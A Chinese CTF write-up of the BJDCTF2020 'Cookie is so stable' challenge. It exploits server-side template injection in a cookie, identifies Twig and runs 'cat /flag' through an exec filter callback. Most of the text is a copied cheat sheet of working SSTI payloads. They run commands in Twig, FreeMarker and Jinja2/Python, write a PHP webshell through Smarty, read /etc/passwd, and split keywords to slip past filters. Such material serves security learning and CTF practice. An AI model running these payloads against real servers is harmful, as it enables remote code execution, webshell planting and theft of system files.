0%

[BJDCTF2020]Cookie is so stable

前言:

  这题主要是考 ssti 模板注入。通过这题我学习到了如何判定它使用的是何种 模板引擎,以及重温了很久以前用过的ssti利用工具【tplmap】,记录一下别又忘记了。

解题过程

  1. 发现 flag选项,进入后发现输入username后有回显hello username 。猜想是 ssti 注入漏洞,输入4 返回了4。但是当我们进一步执行时,会被检测到报错。
  2. 看题目说是cookie 而且 hint 下也有提示 cookie。bp抓包发现注入点 user。
  3. 判断其模板引擎类型方法如图:

    其中红线是执行失败所对应的下一步测试方式。 我们输入{{7*'7'}} 发现返回 49,那么它应该是Twig模板引擎。
  4. 知道了模板引擎是 Twig 后,我们搜搜它的利用payload为:
    1
    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
    最后我们使用的payload是:
    1
    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
    当然flag在根目录下是猜的,我们使用命令返回的结果只有第一项。

常用的ssti的payload

 要一下子弄清原理还是有困难呀,我还是想抄记一波(当然可能会被ban)。

  1. Smarty拿取webshell
    1
    {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
  2. Twig 命令执行
    1
    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  3. freeMarker
    1
    <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
  4. python
    1
    2
    3
    4
    5
    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__=='_IterationGuard' %}
    &#123;&#123; c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") &#125;&#125;
    {% endif %}
    {% endfor %}
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
    {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
    &#123;&#123; b['eval']('__import__("os").popen("dir").read()') &#125;&#125;
    {% endif %}
    {% endif %}
    {% endfor %}
    {% endif %}
    {% endfor %}
  5. Jinjia2模板引擎通用的RCE Payload:
    1
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}
  6. python2
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # 读
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
    # 写
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('test') }}
    ####执行命令
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__
    下有eval,__import__等的全局函数,可以利用此来执行命令:
    #eval
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
    #__import__
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
  7. python3
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #命令执行:
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
    #文件操作
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
    ####在本地python中测试
    ().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')

    ().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")

    ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")

    [].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')
  8. 添加一个flask的命令执行payload:就是拆分关键词进行绕过
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
    {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
    {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
    {% endif %}
    {% endif %}
    {% endfor %}
    {% endif %}
    {% endfor %}

参考链接:
【一篇文章带你理解漏洞之 SSTI 漏洞】
【服务端模板注入攻击】


-------------本文结束感谢您的阅读-------------